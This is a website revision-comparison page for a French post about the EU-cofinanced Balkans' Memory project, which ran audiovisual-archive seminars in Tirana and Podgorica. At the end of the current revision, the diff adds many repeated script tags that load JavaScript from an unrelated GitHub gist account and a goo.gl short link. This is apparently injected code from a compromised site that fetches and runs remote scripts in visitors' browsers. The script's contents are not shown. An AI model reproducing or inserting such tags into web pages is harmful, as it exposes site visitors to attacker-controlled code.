You are viewing an old revision of this post, from September 4, 2013 @ 11:20:55. See below for differences between this version and the current revision.
Suite à la conférence inaugurale du projet Balkans’ Memory, qui s’est tenue le 1er Juin 2012 à Zagreb, Ina EXPERT organise la première session d’une série de séminaires et de formations traitant de la sauvegarde et de la valorisation des archives audiovisuelles, qui se dérouleront jusqu’en juillet 2014 dans la région des Balkans.
Le premier séminaire de 3 jours, organisé avec l’AQSHF, les Archives du Film d’Albanie - partenaire du projet avec l’HAVC (Croatian Audiovisual Centre) et la COPEAM (Conférence Permanente de l’Audiovisuel Méditerranéen) - s'est déroulé à Tirana du 6 au 8 novembre 2012.
Ce séminaire etait destiné aux détenteurs d'archives pour débattre autour des défis liés à la préservation et à la restauration des archives audiovisuelles et cinématographiques, aux fonds et aux formats les plus en danger et à leur sécurisation avant qu’un processus de numérisation soit mis en place.
Cours théoriques, tables rondes et visites animés par des spécialistes du domaine ont été délivrés en anglais à un public composé d’une quinzaine de professionnels des archives de la région des Balkans.
Changes:
September 4, 2013 @ 11:20:55 | Current Revision | ||
---|---|---|---|
Title | |||
Balkans' Memory pour la conservation et la restauration des archives audiovisuelles et cinématographiques des Balkans : premier séminaire de formation à Tirana. | Balkans’ Memory. Sauvegarder et Valoriser la Mémoire Audiovisuelle |
Content | |||
---|---|---|---|
<p> | |||
<img style="width: 78px; height: 52px; float: left;" src="/userfiles/ image/UE.jpg" alt="" /> | |||
<em><span data-scayt_word="Projet" data-scaytid= "1">Projet</span> <span data-scayt_word= "cofinancé" data-scaytid= "2">cofinancé</span> par la Commission <span data-scayt_word= "européenne" data-scaytid= "3">européenne</span></em> | |||
| |||
<strong><em>Un nouveau <span data-scayt_word="projet" data-scaytid= "4">projet</span> pour la <span data-scayt_word= "mémoire" data-scaytid= "5">mémoire</span> <span data-scayt_word= "audiovisuelle" data-scaytid= "6">audiovisuelle</span> des Balkans</em></strong> | |||
<div style="text-align: justify;">Le <span data-scayt_word="Projet" data-scaytid= "7">Projet</span> Balkans’ Memory, <span data-scayt_word= "cofinancé" data-scaytid= "8">cofinancé</span> par la Commission <span data-scayt_word= "européenne" data-scaytid= "9">européenne</span>, vise a <span data-scayt_word="mettre" data-scaytid= "13">mettre</span> en place <span data-scayt_word="dans" data-scaytid= "14">dans</span> la <span data-scayt_word="région" data-scaytid= "16">région</span> des Balkans la <span data-scayt_word= "première" data-scaytid= "18">première</span> <span data-scayt_word="étape" data-scaytid= "19">étape</span> <span data-scayt_word= "d’une" data-scaytid= "20">d’une</span> <span data-scayt_word= "ambitieuse" data-scaytid= "21">ambitieuse</span> <span data-scayt_word="politique" data-scaytid= "22">politique</span> de <span data-scayt_word= "sauvegarde" data-scaytid= "23">sauvegarde</span> et de <span data-scayt_word= "valorisation" data-scaytid= "24">valorisation</span> du <span data-scayt_word= "patrimoine" data-scaytid= "25">patrimoine</span> <span data-scayt_word= "audiovisuel" data-scaytid= "26">audiovisuel</span> et <span data-scayt_word= "d’encourager" data-scaytid= "27">d’encourager</span> les <span data-scayt_word= "échanges" data-scaytid= "28">échanges</span> de savoir-faire et le <span data-scayt_word= "renforcement" data-scaytid= "29">renforcement</span> des <span data-scayt_word= "compétences" data-scaytid= "30">compétences</span> des <span data-scayt_word= "professionnels" data-scaytid= "31">professionnels</span> <span data-scayt_word= "travaillant" data-scaytid= "32">travaillant</span> <span data-scayt_word="dans" data-scaytid= "15">dans</span> les <span data-scayt_word="centres" data-scaytid= "33">centres</span> <span data-scayt_word= "d’archives" data-scaytid= "34">d’archives</span> et les <span data-scayt_word= "télévisions" data-scaytid= "35">télévisions</span> de la <span data-scayt_word="région" data-scaytid= "17">région< /span>.</div> | |||
<div style="text-align: justify;"></div> | |||
<div style="text-align: justify;"><span data-scayt_word="Mené" data-scaytid= "43">Mené</span> par <span data-scayt_word= "l’Ina" data-scaytid= "44">l’Ina</span> via son <span data-scayt_word="centre" data-scaytid= "45">centre</span> <span data-scayt_word= "d’expertise" data-scaytid= "46">d’expertise</span> des <span data-scayt_word="médias" data-scaytid= "47">médias</span> et des <span data-scayt_word="contenus" data-scaytid= "48">contenus</span> <span data-scayt_word= "numériques" data-scaytid= "49">numériques</span> Ina EXPERT, en <span data-scayt_word= "partenariat" data-scaytid= "50">partenariat</span> <span data-scayt_word="avec" data-scaytid= "51">avec</span> le Centre <span data-scayt_word= "audiovisuel" data-scaytid= "36">audiovisuel</span> <span data-scayt_word="croate" data-scaytid= "54">croate</span>, le Centre des archives du film <span data-scayt_word= "d’Albanie" data-scaytid= "55">d’Albanie</span> et la <span data-scayt_word="COPEAM" data-scaytid= "56">COPEAM</span>, <span data-scayt_word="il" data-scaytid= "57">il</span> se compose <span data-scayt_word= "d’actions" data-scaytid= "58">d’actions</span> <span data-scayt_word= "préparatoires" data-scaytid= "59">préparatoires</span> et vise <span data-scayt_word="à " data-scaytid= "60">à</span> <span data-scayt_word= "sensibiliser" data-scaytid= "62">sensibiliser</span> les <span data-scayt_word= "décideurs" data-scaytid= "63">décideurs</span> de la <span data-scayt_word="région" data-scaytid= "38">région</span> des Balkans <span data-scayt_word="à " data-scaytid= "61">à</span> la <span data-scayt_word= "nécessité" data-scaytid= "65">nécessité</span> <span data-scayt_word= "d’investir" data-scaytid= "66">d’investir</span> <span data-scayt_word="dans" data-scaytid= "39">dans</span> la <span data-scayt_word= "sauvegarde" data-scaytid= "40">sauvegarde</span>, la <span data-scayt_word= "numérisation" data-scaytid= "69">numérisation</span>, la <span data-scayt_word= "valorisation" data-scaytid= "41">valorisation</span> et la <span data-scayt_word="gestion" data-scaytid= "71">gestion</span> de <span data-scayt_word="leur" data-scaytid= "72">leur</span> <span data-scayt_word= "patrimoine" data-scaytid= "42">patrimoine</span> <span data-scayt_word= "cinématographique" data-scaytid= "74">cinématographique</span> et <span data-scayt_word= "audiovisuel" data-scaytid= "37">audiovisuel</span>. | |||
Il <span data-scayt_word= "s’adressera" data-scaytid= "151">s’adressera</span> <span data-scayt_word="à " data-scaytid= "107">à</span> <span data-scayt_word="trois" data-scaytid= "154">trois</span> types de public – les <span data-scayt_word= "décideurs" data-scaytid= "109">décideurs</span>, les <span data-scayt_word= "responsables" data-scaytid= "156">responsables</span> de <span data-scayt_word="centre" data-scaytid= "110">centre</span> <span data-scayt_word= "d’archives" data-scaytid= "111">d’archives</span> et les <span data-scayt_word= "professionnels" data-scaytid= "112">professionnels</span> – <span data-scayt_word="à " data-scaytid= "108">à</span> <span data-scayt_word="une" data-scaytid= "160">une</span> <span data-scayt_word= "échelle" data-scaytid= "161">échelle</span> locale et <span data-scayt_word= "régionale" data-scaytid= "162">régionale</span> et <span data-scayt_word="entend" data-scaytid= "163">entend</span> <span data-scayt_word="créer" data-scaytid= "164">créer</span> les conditions <span data-scayt_word= "nécessaires" data-scaytid= "165">nécessaires</span> pour encourager la <span data-scayt_word= "sauvegarde" data-scaytid= "113">sauvegarde</span>, la <span data-scayt_word= "numérisation" data-scaytid= "114">numérisation</span> et la <span data-scayt_word= "valorisation" data-scaytid= "115">valorisation</span> du <span data-scayt_word= "patrimoine" data-scaytid= "116">patrimoine</span> <span data-scayt_word= "audiovisuel" data-scaytid= "117">audiovisuel</span> <span data-scayt_word="dans" data-scaytid= "118">dans</span> les Balkans :• En <span data-scayt_word= "sensibilisant" data-scaytid= "174">sensibilisant</span> les <span data-scayt_word= "décideurs" data-scaytid= "172">décideurs</span> et les <span data-scayt_word="bailleurs" data-scaytid= "176">bailleurs</span> de fonds <span data-scayt_word="à " data-scaytid= "173">à</span> la <span data-scayt_word="valeur" data-scaytid= "178">valeur</span> <span data-scayt_word= "historique" data-scaytid= "179">historique</span>, <span data-scayt_word= "culturelle" data-scaytid= "180">culturelle</span>, <span data-scayt_word= "éducative" data-scaytid= "181">éducative</span> et <span data-scayt_word= "économique" data-scaytid= "182">économique</span> des archives, | |||
• En <span data-scayt_word="dotant" data-scaytid= "188">dotant</span> les <span data-scayt_word= "responsables" data-scaytid= "183">responsables</span> de <span data-scayt_word="ces" data-scaytid= "190">ces</span> fonds des <span data-scayt_word= "connaissances" data-scaytid= "191">connaissances</span> <span data-scayt_word= "nécessaires" data-scaytid= "184">nécessaires</span> <span data-scayt_word="à " data-scaytid= "185">à</span> la <span data-scayt_word="mise" data-scaytid= "194">mise</span> en place <span data-scayt_word= "d’un" data-scaytid= "195">d’un</span> plan de <span data-scayt_word= "sauvegarde" data-scaytid= "186">sauvegarde</span> et de <span data-scayt_word= "numérisation" data-scaytid= "187">numérisation</span> des fonds, | |||
• En <span data-scayt_word= "renforçant" data-scaytid= "205">renforçant</span> les <span data-scayt_word= "capacités" data-scaytid= "206">capacités</span> des <span data-scayt_word= "professionnels" data-scaytid= "198">professionnels</span> <span data-scayt_word= "travaillant" data-scaytid= "199">travaillant</span> <span data-scayt_word="dans" data-scaytid= "200">dans</span> le <span data-scayt_word="domaine" data-scaytid= "210">domaine</span> des archives <span data-scayt_word= "audiovisuelles" data-scaytid= "211">audiovisuelles</span>. | |||
<a href="http:// www.copeam.org/UserFiles/ File/Projects/ 179_balkans_ memory_leaflet_ press4.pdf"><strong> | |||
Brochure Balkans' Memory< /strong></a></div> | |||
<div style="text-align: justify;"></div> | |||
<table style="width: 200px;" border="0" cellspacing="1" cellpadding="1" align="left"> | |||
<tbody> | |||
<tr> | |||
<td><a href="http:// www.facebook.com/ BalkansMemory"> | |||
<img style="float: left;" src="http://www.copeam.org/ userfiles/image/find-us-on- facebook.jpg" alt="" width="122" height="29" /></a></td> | |||
<td></td> | |||
</tr> | |||
Le premier <span data-scayt_word= "séminaire" data-scaytid= "40">sé minaire</span> de 3 <span data-scayt_word="jours" data-scaytid= "44">jours</span>, <span data-scayt_word= "organisé" data-scaytid= "45">organisé</span> <span data-scayt_word="avec" data-scaytid= "46">avec</span> <span data-scayt_word= "l’AQSHF" data-scaytid= "48">l’ AQSHF</span>, les Archives du Film <span data-scayt_word= "d’Albanie" data-scaytid= "49">d’ Albanie</span> - <span data-scayt_word= "partenaire" data-scaytid= "50">partenaire</span> du <span data-scayt_word="projet" data-scaytid= "41">projet</span> <span data-scayt_word="avec" data-scaytid= "47">avec</span> <span data-scayt_word= "l’HAVC" data-scaytid= "52">l’HAVC</span> (Croatian Audiovisual Centre) et la <span data-scayt_word="COPEAM" data-scaytid= "53">COPEAM</span> (<span data-scayt_word= "Conférence" data-scaytid= "54">Confé rence</span> Permanente de <span data-scayt_word= "l’Audiovisuel" data-scaytid= "55">l’ Audiovisuel</span> <span data-scayt_word= "Méditerranéen" data-scaytid= "56">Mé diterranéen</span>) - <span data-scayt_word="s'est" data-scaytid= "57">s'est</span> <span data-scayt_word= "déroulé" data-scaytid= "58">dé roulé</span> <span data-scayt_word="à " data-scaytid= "42">à</span> Tirana du 6 au 8 <span data-scayt_word="novembre" data-scaytid= "60">novembre</span> 2012.<br /> | |||
</tbody> | |||
</table> | |||
| |||
| |||
<span style="color: #a52a2a;"><span style="font-size: 14px;"><strong>A LA <span data-scayt_word="UNE" data-scaytid= "212">UNE</span></strong> </span></span> | |||
<strong>Balkans’ Memory : <span data-scayt_word= "séminaire" data-scaytid= "213">séminaire</span> <span data-scayt_word="sur" data-scaytid= "214">sur</span> le cadre <span data-scayt_word="légal" data-scaytid= "215">légal</span> et la <span data-scayt_word= "valorisation" data-scaytid= "204">valorisation</span> <span data-scayt_word= "cinématographiques" data-scaytid= "217">cinématographiques</span> et <span data-scayt_word= "audiovisuels" data-scaytid= "218">audiovisuels< /span></strong> | |||
<em><span data-scayt_word="Podgorica" data-scaytid= "249">Podgorica< /span></em>,<em> du 28 au 30 <span data-scayt_word="octobre" data-scaytid= "250">octobre</span> 2013</em> | |||
<span data-scayt_word="Dans" data-scaytid= "252">Dans</span> le cadre du <span data-scayt_word="projet" data-scaytid= "219">projet</span> Balkans’ Memory, <span data-scayt_word= "l’Ina" data-scaytid= "220">l’Ina</span>, en <span data-scayt_word= "partenariat" data-scaytid= "221">partenariat</span> <span data-scayt_word="avec" data-scaytid= "222">avec</span> la <span data-scayt_word= "Cinémathèque" data-scaytid= "257">Cinémathèque</span> du <span data-scayt_word= "Monténégro" data-scaytid= "258">Monténégro</span> et la <span data-scayt_word="RTCG" data-scaytid= "259">RTCG</span>, <span data-scayt_word="organise" data-scaytid= "260">organise</span> du 28 au 30 <span data-scayt_word="octobre" data-scaytid= "251">octobre</span> 2013 un <span data-scayt_word= "séminaire" data-scaytid= "223">séminaire</span> <span data-scayt_word="sur" data-scaytid= "224">sur</span> le cadre <span data-scayt_word="légal" data-scaytid= "225">légal</span> et la <span data-scayt_word= "valorisation" data-scaytid= "226">valorisation</span> des <span data-scayt_word="contenus" data-scaytid= "227">contenus</span> <span data-scayt_word= "audiovisuels" data-scaytid= "228">audiovisuels</span>. | |||
<span data-scayt_word="Ce" data-scaytid= "278">Ce</span> <span data-scayt_word= "séminaire" data-scaytid= "239">séminaire</span> se <span data-scayt_word= "déroulera" data-scaytid= "280">déroulera</span> <span data-scayt_word="à " data-scaytid= "240">à</span> <span data-scayt_word="Podgorica" data-scaytid= "271">Podgorica</span> et fait suite aux <span data-scayt_word="deux" data-scaytid= "285">deux</span> <span data-scayt_word= "rencontres" data-scaytid= "286">rencontres</span> <span data-scayt_word="sur" data-scaytid= "243">sur</span> la <span data-scayt_word= "préservation" data-scaytid= "289">préservation</span> et la <span data-scayt_word= "restauration" data-scaytid= "290">restauration</span> des archives <span data-scayt_word="à " data-scaytid= "241">à</span> Tirana, en <span data-scayt_word="novembre" data-scaytid= "291">novembre</span> 2012, et <span data-scayt_word="sur" data-scaytid= "244">sur</span> la <span data-scayt_word= "numérisation" data-scaytid= "245">numérisation</span> et la <span data-scayt_word="gestion" data-scaytid= "246">gestion</span> des <span data-scayt_word="médias" data-scaytid= "247">médias</span> <span data-scayt_word= "numériques" data-scaytid= "248">numériques</span> <span data-scayt_word="à " data-scaytid= "242">à</span> Belgrade, en <span data-scayt_word="avril" data-scaytid= "296">avril</span> 2013. | |||
<span data-scayt_word=" | <span data-scayt_word="Cette" data-scaytid= "302">Cette</span> <span data-scayt_word="fois" data-scaytid= "303">fois</span>, les participants <span data-scayt_word= "aborderont" data-scaytid= "304">aborderont</span> la question du cadre <span data-scayt_word="légal" data-scaytid= "297">légal</span> <span data-scayt_word= "concernant" data-scaytid= "306">concernant</span> <span data-scayt_word= "l’exploitation" data-scaytid= "307">l’exploitation</span> des <span data-scayt_word= "Å“uvres" data-scaytid= "308">œuvres</span> <span data-scayt_word= "cinématographiques" data-scaytid= "298">cinématographiques</span> et <span data-scayt_word= "audiovisuelles" data-scaytid= "299">audiovisuelles</span>, <span data-scayt_word="incluant" data-scaytid= "311">incluant</span> les <span data-scayt_word= "modalités" data-scaytid= "312">modalités</span> de <span data-scayt_word= "libération" data-scaytid= "313">libération</span> des <span data-scayt_word="droits" data-scaytid= "314">droits</span>. Les <span data-scayt_word="pratiques" data-scaytid= "315">pratiques</span> <span data-scayt_word= "documentaires" data-scaytid= "316">documentaires</span> et la description des fonds <span data-scayt_word="seront" data-scaytid= "317">seront</span> <span data-scayt_word= "également" data-scaytid= "318">également</span> <span data-scayt_word= "traitées" data-scaytid= "319">traitées</span>, tout <span data-scayt_word="comme" data-scaytid= "320">comme</span> la <span data-scayt_word= "valorisation" data-scaytid= "300">valorisation</span> des images et des sons <span data-scayt_word="à " data-scaytid= "301">à</span> <span data-scayt_word="travers" data-scaytid= "323">travers</span> <span data-scayt_word= "l’analyse" data-scaytid= "324">l’analyse</span> de <span data-scayt_word="cas" data-scaytid= "325">cas</span> <span data-scayt_word= "d’étude" data-scaytid= "326">d’étude</span> <span data-scayt_word= "pertinents" data-scaytid= "327">pertinents</span>. | ||
<p> | |||
<a href="http:// www.ina-sup.com/ sites/default/ files/Draft_programme_Tirana_ avec_intervenantsV2.pdf"><span style="color: #0000cd;"><u> <strong>Information et <span data-scayt_word="programme" data-scaytid= "112">programme< /span></strong> </u></span></a></p> | |||
Les <span data-scayt_word="cours" data-scaytid= "330">cours</span> <span data-scayt_word= "théoriques" data-scaytid= "331">théoriques</span>, <span data-scayt_word= "délivrés" data-scaytid= "332">délivrés</span> en <span data-scayt_word="anglais" data-scaytid= "333">anglais</span>, <span data-scayt_word="seront" data-scaytid= "328">seront</span> <span data-scayt_word="enrichis" data-scaytid= "335">enrichis</span> par des tables <span data-scayt_word="rondes" data-scaytid= "336">rondes</span> et des <span data-scayt_word="visites" data-scaytid= "337">visites</span> <span data-scayt_word= "ciblées" data-scaytid= "338">ciblées</span> et <span data-scayt_word= "animées" data-scaytid= "339">animées</span> par des <span data-scayt_word= "spécialistes" data-scaytid= "340">spécialistes</span>. | |||
<strong><span data-scayt_word="Lundi" data-scaytid= "341">Lundi</span> 28 <span data-scayt_word="octobre" data-scaytid= "329">octobre< /span></strong> | |||
• Cadre <span data-scayt_word="légal" data-scaytid= "343">légal</span> de <span data-scayt_word= "l’exploitation" data-scaytid= "344">l’exploitation</span> des <span data-scayt_word="contenus" data-scaytid= "345">contenus</span> <span data-scayt_word= "audiovisuels" data-scaytid= "346">audiovisuels</span> – <span data-scayt_word="droits" data-scaytid= "347">droits</span> <span data-scayt_word= "d’auteur" data-scaytid= "355">d’auteur</span> et copyright | |||
• <span data-scayt_word= "Libération" data-scaytid= "356">Libération</span> des <span data-scayt_word="droits" data-scaytid= "348">droits</span> | |||
• Panorama de la situation <span data-scayt_word= "législative" data-scaytid= "361">législative</span> en la <span data-scayt_word= "matière" data-scaytid= "362">matière</span> <span data-scayt_word="dans" data-scaytid= "357">dans</span> les pays <span data-scayt_word="ciblés" data-scaytid= "364">ciblés</span> | |||
<strong>Mardi 29 <span data-scayt_word="octobre" data-scaytid= "358">octobre< /span></strong> | |||
• Les <span data-scayt_word="pratiques" data-scaytid= "359">pratiques</span> <span data-scayt_word= "documentaires" data-scaytid= "360">documentaires</span> <span data-scayt_word= "associées" data-scaytid= "368">associées</span> aux <span data-scayt_word= "différents" data-scaytid= "369">différents</span> usages | |||
• Les <span data-scayt_word="niveaux" data-scaytid= "392">niveaux</span> de description | |||
• <span data-scayt_word="Cas" data-scaytid= "393">Cas</span> <span data-scayt_word= "d’étude" data-scaytid= "370">d’étude</span> <span data-scayt_word= "d’un" data-scaytid= "371">d’un</span> <span data-scayt_word="outil" data-scaytid= "396">outil</span> <span data-scayt_word= "documentaire" data-scaytid= "397">documentaire</span> | |||
• <span data-scayt_word="Visites" data-scaytid= "398">Visites</span> des collections de la <span data-scayt_word= "Cinémathèque" data-scaytid= "372">Cinémathèque</span> du <span data-scayt_word= "Monténégro" data-scaytid= "373">Monténégro</span> et de la <span data-scayt_word="RTCG" data-scaytid= "374">RTCG</span> (<span data-scayt_word="à " data-scaytid= "375">à</span> <span data-scayt_word="confirmer" data-scaytid= "403">confirmer</span>) | |||
<strong><span data-scayt_word="Mercredi" data-scaytid= "404">Mercredi</span> 30 <span data-scayt_word="octobre" data-scaytid= "376">octobre< /span></strong> | |||
• Panorama des <span data-scayt_word= "différents" data-scaytid= "384">différents</span> types de <span data-scayt_word="projets" data-scaytid= "416">projets</span> de <span data-scayt_word= "valorisation" data-scaytid= "385">valorisation</span> | |||
• <span data-scayt_word="Cas" data-scaytid= "408">Cas</span> <span data-scayt_word= "d’étude" data-scaytid= "386">d’étude</span> <span data-scayt_word="sur" data-scaytid= "387">sur</span> <span data-scayt_word="une" data-scaytid= "389">une</span> collection <span data-scayt_word= "cinématographique" data-scaytid= "391">cinématographique</span> et <span data-scayt_word="sur" data-scaytid= "388">sur</span> <span data-scayt_word="une" data-scaytid= "390">une</span> collection <span data-scayt_word= "Télé" data-scaytid= "425">Télé</span> | |||
• <span data-scayt_word="Cas" data-scaytid= "426">Cas</span> <span data-scayt_word= "d’étude" data-scaytid= "427">d’étude</span> : la <span data-scayt_word="politique" data-scaytid= "428">politique</span> de <span data-scayt_word= "valorisation" data-scaytid= "429">valorisation</span> de <span data-scayt_word= "l’Ina" data-scaytid= "430">l’Ina</span> | |||
<span data-scayt_word="Ce" data-scaytid= "431">Ce</span> <span data-scayt_word= "séminaire" data-scaytid= "432">séminaire</span> <span data-scayt_word= "s’adressera" data-scaytid= "433">s’adressera</span> <span data-scayt_word="à " data-scaytid= "434">à</span> un public <span data-scayt_word= "composé" data-scaytid= "463">composé</span> <span data-scayt_word= "d’une" data-scaytid= "435">d’une</span> <span data-scayt_word="quinzaine" data-scaytid= "465">quinzaine</span> de <span data-scayt_word= "professionnels" data-scaytid= "436">professionnels</span> des archives de la <span data-scayt_word="région" data-scaytid= "437">région</span> des <span data-scayt_word="Balkans1" data-scaytid= "468">Balkans1</span>. | |||
<a href="http:// www.ina-expert.com/content/ download/3266/ 67721/version/ 1/file/Draft+ Programme+Podgorica+ seminar+30072013_ V2.pdf"><span style="color: #000080;"><span style="text-decoration: underline;">< strong><span data-scayt_word="Programme" data-scaytid= "469">Programme</span> du <span data-scayt_word= "sémianire" data-scaytid= "470">sémianire</span> </strong></span></span></a> | |||
<span style="color: #000080;"><strong><a href="http:// www.ina-expert.com/actus/ podgorica-du- 28-au-30-octobre- seminaire-sur- le-cadre-legal- et-la-valorisation- des-contenus- audiovisuels.html">Plus <span data-scayt_word= "d’infos" data-scaytid= "471">d’infos</span> <span data-scayt_word="sur" data-scaytid= "450">sur</span> le séminaire</a> </strong></span> | |||
<a href="http:// www.ina-sup.com/ international/ balkans-memory-un-nouveau- projet-pour-la- memoire-audiovisuelle- des-balkans"><span style="color: #000080;"><span style="text-decoration: underline;"><strong>Plus d’infos sur le projet</strong> </span></span></a> | |||
<span style="font-size: 9px;">1-Albanie, ARY de Macédoine, Bosnie-Herzégovine, Croatie, Kosovo*, Monténégro, Serbie.</span> | |||
<script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> | <span style="font-size: 9px;">*Dans le respect de la résolution 1244 du Conseil de Sécurité de l’ONU</span> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> |
Note: Spaces may be added to comparison text to allow better line wrapping.